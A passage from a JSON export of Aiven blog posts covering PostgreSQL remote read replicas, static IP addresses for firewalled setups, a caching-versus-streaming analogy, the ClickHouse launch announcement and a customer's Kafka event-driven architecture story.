out what you can accomplish with it!","metaImage":{"alt":"","asset":{"_ref":"image-9a9c1ec65aca228c6875c5ed73e77289dbf0acaa-3133x1688-png","_type":"reference"}},"metaTitle":"Introducing Klaw for Apache Kafka® governance"},"slug":{"_type":"slug","current":"/blog/introducing-klaw-for-apache-kafka-governance"},"subtitle":"Klaw, an open source data governance toolkit, helps enterprises exercise Apache Kafka® topic and schema governance. Find out what you can accomplish with it!","title":"Introducing Klaw for Apache Kafka® governance"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6SLnBYxWaZ6X5wMVeY9Xvf","_rev":"sg5cBJWkRHo7pkcz4CzW7p","_type":"post","_updatedAt":"2023-12-12T14:12:12Z","authors":[{"_key":"CwYvBlc0mZRbFtiATviQl","_ref":"CwYvBlc0mZRbFtiATviQl","_type":"reference"}],"body":"## Glossary of terms\n* *Master:* The primary DB instance that is the target of write (and read) operations.\n* *Standby:* A DB instance that will be considered for promotion (available for reads).\n* *Read replica:* Implies local or remote read-only instance (a.k.a replica).\n## What is an Aiven for PostgreSQL remote read replica?\nWhen it comes to Aiven for PostgreSQL, until remote replica functionality was released a few weeks ago, there were traditionally two types of DB instances namely, Master, and one or more Standby instances. Each standby instance serves two purposes: the first is to be considered for promotion in the event the master fails, and the other is to serve read-only operations.\n\n**Standalone read replica is the newest member to this family.** The differences between a standby instance and a remote read replica are that, a remote read replica will never be considered for promotion if the master failed, and a standby is always located in the same region as the master.\n\nAs with all flavors of standby and read replica instances (local or remote), the mechanism used to replicate data from the master to the replicas is asynchronous. By not relying on network service quality \u0026 bandwidth coupled with the low overhead inherent in PostgreSQL streaming replication, the impact to the write and read performance of the Master DB instance is negligible.\n\n**Note:** A remote read replica can be set up between homogenous or heterogenous cloud providers. For example, you can have your primary service in Google Cloud (Iowa) and have a read replica in DigitalOcean (New York) or Google Cloud (South Carolina).\n\n## Why remote read replicas are a business imperative\nAt this point, you might be wondering what the big deal is about the new addition. The **two most fundamental uses of the remote read replica** are to provide greater data availability, and increased performance (throughput and latency) for reads and writes. By offloading reads to the replica, you are essentially doing two things:\n\n1. increase read throughput (_fairly obvious_), and\n2. increase write throughput on the master (_not so obvious_).\n\nTo illustrate, let's say that you have a business-critical application that records online merchandise purchases. In order to record and fulfill those orders you have invested in one of the premium Aiven PostgreSQL plans equipped with a read/write Master and two standby instances, where all the DB instances are located in the same region.\n\nWhat would happen if the region your Aiven service is running in goes black, as would happen with a natural disaster?. You are then in a situation where you can neither view existing orders, let alone fulfill them. Nor can you record any new orders that your customers want to make from your website. As your sales are impacted, so is your bottom line.\n\nIf you were taking advantage of remote read replica functionality, your day would have gone a lot better. Because, **the remote read replica will remain fully operational for reads** even if the primary region hosting your Master and local replicas becomes inoperable. Therefore, you can continue to fulfill existing orders that were already made.\n\nYou can even tweak it so that you can convert the remote read replica to a read/write Master and point your web application to it within a matter of a few minutes, thereby allowing you to continue accepting new orders. In short, **a remote read replica provides greater data availability for your business-critical applications.**\n\nAnd availability is just the most obvious benefit of remote read replicas; **there are also performance benefits.** Especially in the age of globalization, it makes sense to place the data close to consumers. In this case, there may be data that various regional departments share. By allowing for the placement of data close to consumers, a remote read replica makes it more efficient to access.\n\nA similar use case is where massive amounts of data are used in various regions to generate daily performance reports and analytics. Again, replicating and placing this data closest to the regions where the reports and analytics are run for decision makers enables them to make more timely decisions based upon the data. Aiven for PostgreSQL remote read replica feature makes this possible.\n## How to set up a read replica in 7 steps\nSetting up a remote read replica is made convenient through the Aiven Console. Please follow the instructions below to setup a remote read replica for any non-hobbyist Aiven for PostgreSQL plan.\n\n1. Navigate to the Aiven console.\n\n   **Note:** If you don't have a PostgreSQL service running, create a _Startup_ or higher Aiven PostgreSQL service from the Aiven console per [Getting started with Aiven\nPostgreSQL.](https://help.aiven.io/en/articles/489573-getting-started-with-aiven-postgresql)\n\n   ![existing postgresql service](//cdn.sanity.io/images/sczeoy4w/production/492658c0326297d5bbd77402f750cfc4fb34ac1d-750x188.png)\n\n2. Once your PostgreSQL service is up and running, navigate to the service details page by clicking on the service name.\n\n   ![postgreSQL service details](//cdn.sanity.io/images/sczeoy4w/production/18448700b263d6ac580b0b07870bb2308ea71312-750x454.png)\n\n3. Click on the \"Create a read replica\" button shown in the bottom-right corner to get to the new remote read replica configuration screen.\n\n   ![postgreSQL service details](//cdn.sanity.io/images/sczeoy4w/production/8140fb641c1df6ebcb4ce644485a48aafa571567-750x385.png)\n\n4. Give the remote read replica service a name.\n\n5. Select the Cloud provider who will be hosting the remote read replica service (and the region).\n\n6. Select a plan for the service (default: same plan as the main service).\n\n7. Click \"Create\" to provision the remote read replica service. Give the service a few minutes to complete startup.\n\n   ![postgreSQL service details](//cdn.sanity.io/images/sczeoy4w/production/6a95ddd28f2227489f1500131bb32247782dfeb4-750x235.png)\n\n   **Note:** To obtain the credentials to access the remote read replica, simply click on its service name to enter the service details page.\n\n   ![remote-replica service details](//cdn.sanity.io/images/sczeoy4w/production/9a9ea3ef11a2af4cdfb983448a07092bf37bbef5-750x349.png)\n\n## Create your first read replicas today\nIf you have a business-critical application that requires data (and associated service) to survive complete failure of a cloud provider’s region or wish to increase the performance of your existing Aiven PostgreSQL database, **take advantage of the Aiven PostgreSQL remote read replica functionality.** The cost is will be nominal compared to benefits and peace of mind it will bring.\n\n[Create your first read replica!](https://console.aiven.io/login)\n\n\n_Stay up-to-date! Follow us on [Facebook](https://facebook.com/aivencloud) and [Twitter](https://twitter.com/aiven_io), or [join the Aiven blog's RSS feed](https://aiven.io/blog/feed.xml)_\n\n## Further reading\n\n- [What is PostgreSQL®?](https://aiven.io/blog/an-introduction-to-postgresql)\n\n- [(Postgre)SQL concepts and terms](https://aiven.io/blog/postgresql-concepts-and-terms) \n\n- [Aiven for PostgreSQL® read-only replicas](https://aiven.io/blog/aiven-postgresql-read-only-replicas)\n\n","categories":[{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-20884078c4936fa4a596717352312f6b795e0778-752x405-png","_type":"reference"}},"publishedAt":"2018-04-03T00:00:00.000Z","seo":{"metaDescription":"PostgreSQL remote read replicas enable users to increase their data availability, as well as read and write performance. Read more to learn how Aiven does it.","metaImage":{"alt":"","asset":{"_ref":"image-20884078c4936fa4a596717352312f6b795e0778-752x405-png","_type":"reference"}},"metaTitle":"Remote read replicas - the what, why, and how"},"slug":{"_type":"slug","current":"/blog/postgresql-remote-read-replica"},"subtitle":"PostgreSQL remote read replicas enable users to increase their data availability, as well as read and write performance. Read more to learn how Aiven does it.","title":"Remote read replicas - the what, why, and how"}
{"__i18n_lang":"en","_createdAt":"2022-12-01T15:04:59Z","_id":"bd1de00d-3375-4c6c-b0a1-7399335e22bf","_rev":"ejVwHgKe5k9eDWbchuI8ON","_type":"post","_updatedAt":"2024-07-11T09:21:20Z","authors":[{"_key":"518ac632a869","_ref":"6lMlSgJEYuohRrYw7zGkl8","_type":"reference"}],"body":"Of the many moving pieces of an infrastructure modernization project, networking is a key one. Imagine that you are a consultant on a modernization project where the data has been migrated to (Aiven) cloud databases but some legacy applications are still on-prem. These legacy applications and their network firewalls expect static IP addresses and ports. In this article, I will discuss the use cases for static IP addresses for data infrastructure and point you to some resources to use them with Aiven resources.\n\n## On-premises network firewalls\n\nThe on-premises enterprise applications for the modernization project need to read from/write to cloud databases but the security engineering organization has a network firewall rule that automatically denies all incoming and outgoing addresses/ports except a few in an allowed list. Here's what the system looks like: \n\n![Firewall blocking inbound-outbound connections](https://cdn.sanity.io/images/sczeoy4w/production/49df52068ff55cde1e8cbbcb8beed27666d2122e-1083x551.png)\n\nYou might have noticed that cloud databases are referred to by their hostnames and not by IP address. This ensures that even if the underlying IP address changes over time (for example, during a maintenance window), clients can still talk to the database instance using the same fully qualified domain name (FQDN) or service name. This is a blocker for your setup since the firewall rules for the legacy applications only accept IP addresses that they can add to an allowlist for any incoming and outgoing connection.\n\nA more common scenario is that your application is hosted on the cloud but your on-premises database is behind a firewall. These situations need a static IP address on the cloud resource so that the firewall can be configured to allow the incoming or outgoing connection.\n\n## Third-party or legacy applications\n\nThe client for the modernization project requested that you integrate a third-party metrics collection service and a legacy backup application into the cloud database. You found out that third-party and legacy applications have something in common. Both of these applications expect an IP address rather than a hostname when connecting to a database. \n\nWhile you can try to add a custom DNS resolver, that could add performance overhead, and would be a larger infrastructure  initiative which might be too much to take on just to solve a single point-in-time problem.\n\n## Static IP addresses to the rescue\n\nAlthough not widely used, a static IP address can be a great solution to scenarios like the ones above. For the IP-based firewall rule, you can easily allow the IP address and port numbers for your cloud resources.\n\n![Firewall allows resource based on IP/port](https://cdn.sanity.io/images/sczeoy4w/production/609391ebbad4bf6ea6c66e2666b36f152e20bc88-1083x551.png)\n\nKeep in mind that these are network firewalls, which are\n[layer3](https://en.wikipedia.org/wiki/OSI_model#Layer_3:_Network_layer)/[layer4](https://en.wikipedia.org/wiki/OSI_model#Layer_4:_Transport_layer)\nfirewalls, and not [Web Application Firewalls](https://en.wikipedia.org/wiki/Web_application_firewall) (WAF),\nwhich are [layer7](https://en.wikipedia.org/wiki/OSI_model#Layer_7:_Application_layer) firewalls. \n\nIf your on-premises application is behind a firewall that needs to talk to an Aiven service, you can [create static IP addresses on Aiven](https://aiven.io/docs/platform/concepts/static-ips.html) using the console, Aiven CLI, or [Aiven Provider for Terraform](https://registry.terraform.io/providers/aiven/aiven/latest). For high-availability and failover, you would want to ensure that there are a sufficient number of static IP addresses allocated for your services. \n\nAs a rule of thumb, if you have up to six nodes, you want twice that number of static IP addresses, and if you have more than six nodes, you want `number of nodes + 6`. There's a cost of consuming static IP addresses but you can assign these IP addresses to any of your Aiven services. [Calculate and reserve static IP addresses](https://aiven.io/docs/platform/howto/static-ip-addresses.html) beforehand and Aiven can provision these static IP addresses on the cloud of your choice for you. \n\n## Wrapping up\n\nThanks to appropriate use of static IP addresses and the smooth configuration of Aiven resources, the infrastructure modernization project was completed successfully. Hopefully, you took away some of the use cases of static IP addresses and how you can [set one up](https://aiven.io/docs/platform/concepts/static-ips.html) for your Aiven services. \n\nAnd if you don't want the hassle of managing your own data infrastructure, please [give Aiven a try](https://console.aiven.io/signup).\n","categories":[{"_key":"987edc73384b","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"A blue background, with the text \"Home is where your static IP is\". and the Aiven logo at the bottom left","asset":{"_ref":"image-f1bfff8bbd4963958e533fc7fc86f4abf94451eb-1567x844-png","_type":"reference"}},"publishedAt":"2023-01-05T13:05:00.000Z","related":[],"slug":{"_type":"slug","current":"/blog/static-ip-for-your-service"},"subtitle":"It's normally best to use dynamic IP addresses for services, but occasionally a static IP address makes sense. Read on to find out why.","title":"Static IP addresses for your data infrastructure"}
{"__i18n_lang":"en","_createdAt":"2022-11-17T15:51:43Z","_id":"44203740-fa25-41c0-a68e-7bb4f32031ad","_rev":"BVM0UzymoPXcfHGeYl8cI1","_type":"post","_updatedAt":"2024-08-09T10:17:00Z","authors":[{"_key":"c6d6a827dd0a","_ref":"6lMlSgJEYuohRrYw7zGkl8","_type":"reference"}],"body":"What do caching and milk have in common? They're both useless when stale. Whether you're a data engineer or you focus more on the application side, a good understanding of data query technique is important when designing your enterprise data architecture. In this lighthearted blog, we tell you a story about an ice-cream shop, make comparisons between how milk is consumed and how data is delivered, and help you digest (*pun intended*) the choice of data in your architecture.\n\n\u003e **Note:** This blog uses certain analogies to help make the difficult concepts in data engineering slightly easier. The analogies are not meant to be an exact match.\n\nThis is a story about an ice-cream shop. The ice cream shop sells three types of ice cream: a soft ice-cream made from fresh milk, a regular frozen ice-cream, and a specialty ice-cream made from Yak milk. The quality of the ice-cream depends on the quality of the milk that is used to make it. Let's learn about the usage of different types of milk for different ice-creams (and also a thing or two along the way about the choice of data).\n\n## The need for fresh milk (or fresh data)\n\nSoft ice-cream is the most popular item in our shop. Although the taste of soft ice-cream is great, using fresh milk comes at a premium cost, as we have to go to the dairy every time we need fresh milk.\n\nSimilar to fresh milk, you might need fresh data. If you always query the database directly, and never use a cache, you'll be paying a premium in terms of cost and latency.\n\nThe database might have some internal caching to help save your query cost. However, an internal database cache is rather generic and is not customizable to your application. In PostgreSQL®, for example, the internal cache buffer size is configured with the [shared_buffer configuration](https://www.postgresql.org/docs/current/runtime-config-resource.html#RUNTIME-CONFIG-RESOURCE-MEMORY). Allocating more memory to the `shared_buffer` means that there will be less memory available for other compute operations in the machine’s total memory. \n\n## The case of powdered milk (or cached data)\n\nSoft ice-cream is our best seller, but people also buy regular frozen ice-creams from the shop because they are more affordable. We can keep the price down because we use powdered milk for making regular frozen ice-cream. Powdered milk is cheaper by itself, but can also be stocked properly, requiring fewer round trips to the dairy.\n\nIn our analogy, powdered milk is like cached data, which can save a round trip to the database but might not be the most up-to-date since, like the powdered milk, it has an expiration date. Data from a stale cache is no good for making business decisions. It's a well known fact that **cache invalidation** is the second hardest problem to solve in computer science (right after **naming things**).\n\nEven if powdered milk can be stocked, we still need to make a trip now and then to maintain a healthy reserve of it. In the same way, you need to find a good way to update the cache. There are various caching techniques like **cache aside**, **write through**, and **write behind** to prioritize cost, latency or performance. However, there are trade-offs with every choice and there is no silver bullet. Could there be a solution to consume a constant flow of fresh data without needing to rely on caching techniques?\n\n## The case of milk pipes (or streaming data)\n\nThe ice-cream shop has been getting a ton of new customers and cannot meet the demand for soft ice-cream from fresh milk. It's clear that fresh milk, the main ingredient, is needed; but how to avoid needing to go to the dairy? One way is to keep a large inventory of milk ready. This will incur large cost and run the risk of a lot of unused milk going bad. Another way is to provide a constant supply of fresh milk, for example, having a dairy company run a milk pipe and have it plumbed into the shop. The milk is pressurized for faster delivery, and we will need to process the milk back to its original form before using it to make the delicious soft ice-cream. \n\nThis is similar to the choice between batch processing and stream processing. With batch processing, you collect data at a specified time and the data is typically files of large size. Stream processing, on the other hand, expects a continuous flow of smaller amounts of data so that you can do processing of the data in real time. \n\nYou might have distributed systems in geographically separated regions, with your goal being to move data from a source transaction system to multiple target data stores across the globe. For instance, to move data from a relational database like PostgreSQL® to a key-value store like Redis®*, you can use the [Debezium source connector for PostgreSQL](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg.html) to send the data to Apache Kafka® and [the Redis sink connector](https://aiven.io/docs/products/kafka/kafka-connect/howto/redis-streamreactor-sink.html) to get the data into Redis. The benefit of this approach is that you can keep on adding more sinks without adding pressure to the source system. \n\nThe following diagram shows a sample layout of such decoupled systems with Apache Kafka sitting in the middle.\n\n![A diagram showing source data from PostgreSQL going into an Aiven for Apache Kafka service, and from there to sinks for AWS S3, Aiven for Caching and Google Cloud Storage](https://cdn.sanity.io/images/sczeoy4w/production/db1bb79c35fcdf9c83cf1eaf14c2617ab5da8a9d-2170x1104.png)\n\n\n## Freezing the milk (data) for long term storage\n\nIf the shop needs long-term storage, freezing the milk is a great choice. It also means we can guarantee to have milk available if there's a high demand during the hot season. Similarly, your archival data could either stay in Kafka for a long time or you can [sink to AWS S3](https://aiven.io/docs/products/kafka/kafka-connect/howto/s3-sink-connector-aiven.html) for a more affordable storage option. For example, you might have to archive data for a certain number of years for compliance reasons. \n\n## Manage specialty milk (sensitive data)\n\nThe ice-cream shop sells a unique ice-cream made from yak milk. We will not find this kind of milk in the dairy and can't afford to store it in the ice-cream shop either. Whenever we need yak milk, we source it locally, taking special care when transporting it, and making sure to use it all up so none is wasted.\n\nSimilarly, sensitive data such as API tokens should not be stored in your cache or be streamed in plain-text across the data pipeline. When needed, this kind of data is generated, transmitted as encrypted data, and used. For example, in Apache Kafka, you can apply Single Message Transformations (SMTs) on messages that transform inbound messages after a source connector has produced them, but before they are written to Kafka. Check out [an excellent talk](https://ftisiot.net/talks/breathe-in-breathe-out-kafka-connect/) on this topic from my colleague [Francesco Tisiot](https://twitter.com/FTisiot). You can also use [Apache Flink®](https://aiven.io/docs/products/flink.html) to filter or transform sensitive data in real time. \n\n## The tradeoff between cost and performance\n\nAt the begining, when you have less data and a simple use case, a relational database like PostgreSQL can do the job. It might seem like overkill to worry about caching or a streaming solution. While it's important to keep your architecture simple, it's essential to design for future scaling needs. As the volume of data and the system complexity grows, having multiple systems talking to each other will take a toll on your engineering efforts and cost. You might also need a mechanism in place to transform the data before consuming it. Here are three rules to follow when deciding a tradeoff between cost and performance:\n\n- The actual cost of your software solution includes the current implementation cost and future maintenance and modernization costs. The cost of modification to a mature system is high, and often not possible.\n- Open-source solutions will provide you with more control, visibility, and ease of migration over proprietary solutions. \n- You cannot expect peak performance from applications that have bottlenecks in the storage and networking layers. \n\n## Wrap up\n\nThere's no shortage of ice-cream shops and they all have different requirements. If you want your ice-cream (application) to be of the best quality, use quality milk (data) and the right milk storage and delivery (database/streaming) techniques. For a robust and open-source data platform that offers multiple flavors of ~ice-cream~ data-related services, [give Aiven a try](https://console.aiven.io/signup). \n\n\n## Further reading\n\n- [Building a modern data architecture](https://aiven.io/blog/building-a-modern-data-architecture)\n","categories":[{"_key":"60892a1a3352","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"5a1976af89f1","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"c47fd9a38703","_ref":"3SF1hzDKGSWII7ZpbyTg8M","_type":"reference"},{"_key":"04b0af5d7062","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"95e55c697a17","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","asset":{"_ref":"image-405591dfeb39a20f021c49159d42dd18acf62016-1567x844-png","_type":"reference"}},"publishedAt":"2022-11-22T17:05:17.684Z","related":[],"slug":{"_type":"slug","current":"/blog/milk-and-data"},"subtitle":"Streaming, batch, caching, archiving, encryption - data management can seem very complex. Read on for an ice-cream store metaphor that explains the options.\n","title":"Discussing data storage techniques - the milky way"}
{"__i18n_lang":"en","_createdAt":"2022-12-07T13:10:57Z","_id":"5b18fb4c-f744-499c-befd-9e72479f83fc","_rev":"T130WEs22RB6SoEkOBbAX0","_type":"post","_updatedAt":"2024-11-19T08:02:43Z","authors":[{"_key":"c0343664d805","_ref":"496dfbad-f06f-469f-8658-d40fc51b4324","_type":"reference"}],"body":"In today’s fast-moving and sometimes turbulent world, customers are more and more dependent on analytics to support the data-driven decision-making culture that they strive for. Alongside this, data volumes are growing and data velocity is increasing. \n\nIn response, organizations are increasingly turning to open source software and solutions, combined with the cloud, to fulfill their analytics needs while controlling costs.\n\nToday, we are delighted to announce that our new high-performance data warehouse service, [Aiven for ClickHouse®](https://aiven.io/clickhouse), is now generally available for production use by both existing and new Aiven customers.\n\nSince the introduction of the beta version of the service 3 months ago, we have listened carefully to feedback from customers that chose to experiment with the beta. We took that feedback, made enhancements and implemented new capabilities. Aiven for ClickHouse is now supported for production use and takes its place as a member in the set of integrated, open source data infrastructure services provided by Aiven.\n\nOne of the early adopters of Aiven for ClickHouse was Chatlayer by Sinch, a company that provides AI-powered chatbot solutions to their customers. The Chatlayer solution includes advanced analytics capabilities that provide insights into the customers’ conversations with their end users. \n\n\u003e “We were positively surprised with the performance of Aiven for ClickHouse - it is really fast. And thanks to the excellent data compression, we were able to save on costs compared to our previous solution.” – Miguel Carvajal, Technical Lead at Chatlayer\n\n## Faster data insights at scale with ClickHouse\nClickHouse® is a fast data warehouse that’s fully open source. ClickHouse allows you to derive analytical insights in near real-time using advanced SQL queries, and is built to process hundreds of millions of rows and tens of gigabytes of data per server per second. It supports industry-leading query performance, while significantly reducing storage requirements through the use optimization techniques combining the power of columnar storage with compression codecs that can be applied to independently compress each column based on the nature of the data that it contains. \n\nClickHouse is ideally suited for use-cases with high volumes of ‘event’ data, such as IoT telemetry, clickstream data, log files and real-time market data.\n\n## More than just open source ClickHouse \nAiven for ClickHouse service runs on our reliable cloud management platform\ninheriting all of its capabilities, and benefits from Aiven’s continuous focus on security and operational excellence:\n\n- **Reliable operations**: Aiven for ClickHouse is designed and built to be self-healing and provide a high reliability, with a **99.99% uptime SLA**, backed by **enterprise-grade monitoring and 24x7 proactive support**. Business continuity is supported by **daily backups, rolling software upgrades** for major and minor versions, and **automated failover** across availability zones for plans that have more than one node.\n- **Easy analytics pipelines**: [Integrate Aiven for ClickHouse](https://aiven.io/docs/products/clickhouse/howto/list-integrations.html) with Apache Kafka or PostgreSQL data sources, create powerful visualization dashboards using  Aiven for Grafana, and connect JDBC compatible business intelligence tools such as Microsoft Power BI or Tableau. Tip: Our blog has more information about [connecting Aiven for ClickHouse and Apache Kafka](https://aiven.io/blog/connecting-kafka-and-clickhouse). \n- **No provider lock in due to full compatibility with open-source ClickHouse**: Aiven’s multi-cloud and cross-cloud deployment model enables you to choose your preferred cloud provider when creating your Aiven for ClickHouse cluster, and makes it simple to migrate between cloud providers should the need arise.\n- **Security and compliance**: Services that you create with Aiven run on **virtual machines dedicated to you** with **end-to-end encryption**. Our platform is **ISO 27001:2013, SOC 2,GDPR, and HIPAA compliant**.\n- **DevOps friendly**: integrate with your existing DevOps processes to create, modify, and delete Aiven for ClickHouse clusters programmatically via the **Aiven REST API, the Aiven CLI and Aiven Terraform Provider**.\n- **Easy observability**: Monitor your data infrastructure by connecting Aiven for ClickHouse with other Aiven services for **ready-made monitoring dashboards and unlimited log storage and search**. We also provide **integrations for popular external services** like Prometheus, Rsyslog, Amazon CloudWatch and Google Cloud’s Cloud Logging service.\n\n\n## Pricing \u0026 Availability\n\nAiven for ClickHouse is immediately available on all major cloud platforms - AWS, Google Cloud and Microsoft Azure - in over 70 regions globally. \n\nService plans range from single node Hobbyist/Startup plans, to highly-available three node Business plans, and further up to 30 node clusters with Premium plans. The service is priced per hour, with prices starting from $0.26027/h ($190/month).\n\nFor details, see our [ClickHouse pricing](https://aiven.io/pricing?tab=plan-pricing\u0026product=clickhouse) page.\n\n\n\u003c!--\nDuplicate this post by clicking the drop-down menu in the bottom right corner, and selecting **Duplicate**\n\nSet the post date\nInsert the hero image (set it up in https://sanity.avnsmarketingtest.net/media)\nDefine the author\nAdd relevant categories\nAdd keywords as recommended by SEO agency\nWrite the post\n\nAdd a wrapping up section and a strong CTA.\nKeep the \"Next steps\" section as a \"footer\". Remember to add links to the relevant product pages.\n--\u003e\n\n\n\n\u003c!-- copypasta:\n\n®\n™\n– en-dash\n— em-dash\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\ntext links: [body / link text](target URL)\n\nCode snippets: `written like this`\n\n[Back to top](/blog/slug-line/#toc)\n\n\n## First part\n\n## Second part\n\n## Wrapping up\n\n\n--\u003e\n\n::banner[Read our Quickstart Guide and start setting up today.]{ctaText=\"Show me how!\" ctaLink=\"https://console.aiven.io/signup\" title=\"Looking for an easy start with Aiven for ClickHouse?\" theme=\"light\"}\n","categories":[{"_key":"9c2cf46f506d","_ref":"4Ys3OINPj3glC5uOMr5dqF","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-c5f8fc01907ec00b34b155c9fb3d4a118504c1de-1567x844-png","_type":"reference"}},"publishedAt":"2022-12-13T11:55:00.645Z","related":[{"_key":"88b29cb263ea","_ref":"3GyNnm0QehTAFfDtVvylqP","_type":"reference"},{"_key":"076991628628","_ref":"88e1ca5f-2f7f-4243-bd1b-2e47351f011d","_type":"reference"},{"_key":"a620cf037983","_ref":"6d2dc544-51e6-459e-8669-8d92544accb2","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aiven for ClickHouse® is now generally available. Find out how you can create a fully managed data warehouse to run your analytics pipelines and more."},"slug":{"_type":"slug","current":"/blog/aiven-for-clickhouse-now-generally-available"},"subtitle":"With the general availability of Aiven for ClickHouse®, including a 99.99% availability SLA, you can now create a fully managed data warehouse to run your analytics pipelines and other analytics workloads.","title":"Aiven for ClickHouse® now generally available"}
{"__i18n_lang":"en","_createdAt":"2022-11-07T08:06:54Z","_id":"d8f581eb-471c-439e-a87b-b7596812f19d","_rev":"neae7oL4y1FotDvvR1pbfJ","_type":"post","_updatedAt":"2024-07-09T12:55:01Z","authors":[],"body":"## Introducing James Job AG\nI’m Nick, and I work at James Job, a startup that’s revolutionizing the way you find job openings to match your skills.\n\nIt can be tedious combing through job ads to find the right job for you, so we decided to make it easier. With James Job you define your SkillSet and we calculate the matching job ads for you, with no more searching needed.\n\nAs a result, we have an architecture that calculates a lot of things behind the scenes to only show you the relevant job ads. Changes that happen (job ad changes, you gaining a  new skill, and so on), again triggers many calculations in our systems. It’s absolutely vital for us to have a solid infrastructure to fulfill this need - and Apache Kafka® gives us the perfect backbone.\n\nAs a startup, it is also very important to us that new ideas, use cases and more can be built fast and in a flexible way. This is where data in motion and infinite retention (where needed) plays right into our hands.\n\nAnd if this wasn’t enough, we are also huge fans of Aiven’s Crabby ;)\n\n## The communication challenge\nThe rise of micro and nano services ultimately means that more components need to be connected. While we can achieve this over APIs, RPC, etc., this also means close coupling of components. A change to one service can cause ripples of subsequent changes. I like to think that with events, everything is more free and flexible.\n\nAny service can start sending and listening to events. It's an open world of data flowing through your system, and that opens up many possibilities. I’ll outline some of the benefits and challenges in the following sections.\n\nWhile we already have a lot of data, in most cases it is at rest - in databases, indices, files, and so on. To get the data we need, we have to overcome certain hurdles.\n\nWe need to know:\n\n- Where to find it (many data systems and structures)\n- How to access it (integration)\n- How the data structure works (there’s generally no documentation)\n\nUsing events:\n\n- Access to your data is streamlined\n- Data structure is documented (Avro, Protobuf, etc.)\n- Data is easy to find, with good naming policies\n\n## The system is never really down\nLet's start with a simple example: a user signup.\n\nSignup processes can vary from a couple of input fields to several pages.\nMost frustrating of all, when you reach the end, you click the **Signup** button and get an error to try again later! This is not only frustrating, it’s also very unspecific and not exactly helpful.\n\nIf we’re using events, we can minimize impact for the user when the signup service is down.\n\nAll we need to do is send the event to Apache Kafka®, which is built for high availability.\n\nAs soon as the signup service recovers, the signup event is processed and the user receives an email that the account is successfully created.\n\nWhile it is still bothersome that the account was not created immediately, the user doesn’t have to go through the signup process again. A definite win for all.\n\n## History repeats itself\nHistory repeating itself is very real - and absolutely beneficial in event streaming.\n\nWith Apache Kafka® you can choose infinite retention for your events. How can this be useful?\n\nLet’s say, after one year, we decide we want to reward our first hundred customers with a surprise gift, but we forgot to save the creation date for our users.\n\nWithout events this would be an impossible hurdle. But with events, we can replay our signup event and find our lucky winners.\n\nWhile this  isn't exactly a likely scenario, it shows how we can replay our events to build new use cases with historical data.\n\nBuilding new services from the ground up gets easier once we no longer need to extract and transform data from existing systems. All we have to do is:\n\n- Identify the data streams we need\n- Replay historical events\n- Persist / Transform / React to these events as needed\n\nThis has saved me time in many use cases over the years. It encourages you to think more about your data and it makes many things easier.\n\nInstead of trying to have a data structure that fits every need, it is easy to build custom data projections if a component needs it. As a result, all your components become more independent along the way.\n\n## Being late\nSending events means that something will happen at a certain point in time.\nIn some cases you’ll be dependent on other things happening in your system.\nSince everything is decoupled, there is no way to communicate with components directly.\n\nSo, let’s assume a user registers with an email and a postal address. Let’s also say we choose two events for that:\n\n- User account event\n- User address event\n\nAfter signing up, the user is redirected to their profile. Since these events are processed by different systems, the following could happen:\n\n- The user account is still being created\n- The address service is down\n- The address service is up but is faster than the user services\n\nThese kinds of problems always exist, even when data is at rest - but with events, we tend to think about it more often, which is definitely a good thing.\n\nUncertainty poses challenges for our systems, so how can we solve this in an event-driven architecture?\n\nAny of the following things (and many more) help us build better systems:\n\n- Resiliency concerning missing data\n- Flexible data loading (e.g. loading skeletons)\n- Live events about what’s happening in other components (push notifications)\n\nIn the case of the address service being slower, for example, we’d already see our account information, and the address would have a loading state and refresh immediately after the data becomes available (push vs. poll).\n\nApache Kafka® is built for very high throughput, so in many scenarios the delay won’t even be noticeable, but it is always good to keep the unexpected in mind.\n\n## In conclusion\nAs with any technology, there are benefits and challenges. Over the years I’ve found that the benefits of an event streaming architecture by far outweigh the challenges.\n\nThere is a learning curve to Apache Kafka®, don’t let that discourage you!\nOnce you embrace the “event first” mindset, your application becomes more resilient, stable and flexible. You’ll see many new opportunities and use cases open up, as Apache Kafka has a great ecosystem of integrations.\n\nIt has been an incredible journey so far and I can't wait to see where it will take me next.\n\nI want to thank the whole Aiven team for being an awesome and reliable partner that helped us grow our architecture over the years 💖\n\n### About Nick\n\nNick Chiu is the CTIO of [James Job AG](https://jamesjob.com/), a startup that provides job seekers with the best job matches, taking minimal effort. He’s worked in the software services building area for over 20 years and has had the opportunity to work in many different industries, which helped him gain a lot of insight into solution architecture. He’s been focusing on event driven systems for 5 years now, which has proven to be a great blueprint for the many solutions he’s built over the years. He loves food and manga.\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\n\n## Further reading\n\n- [Introduction to event-based 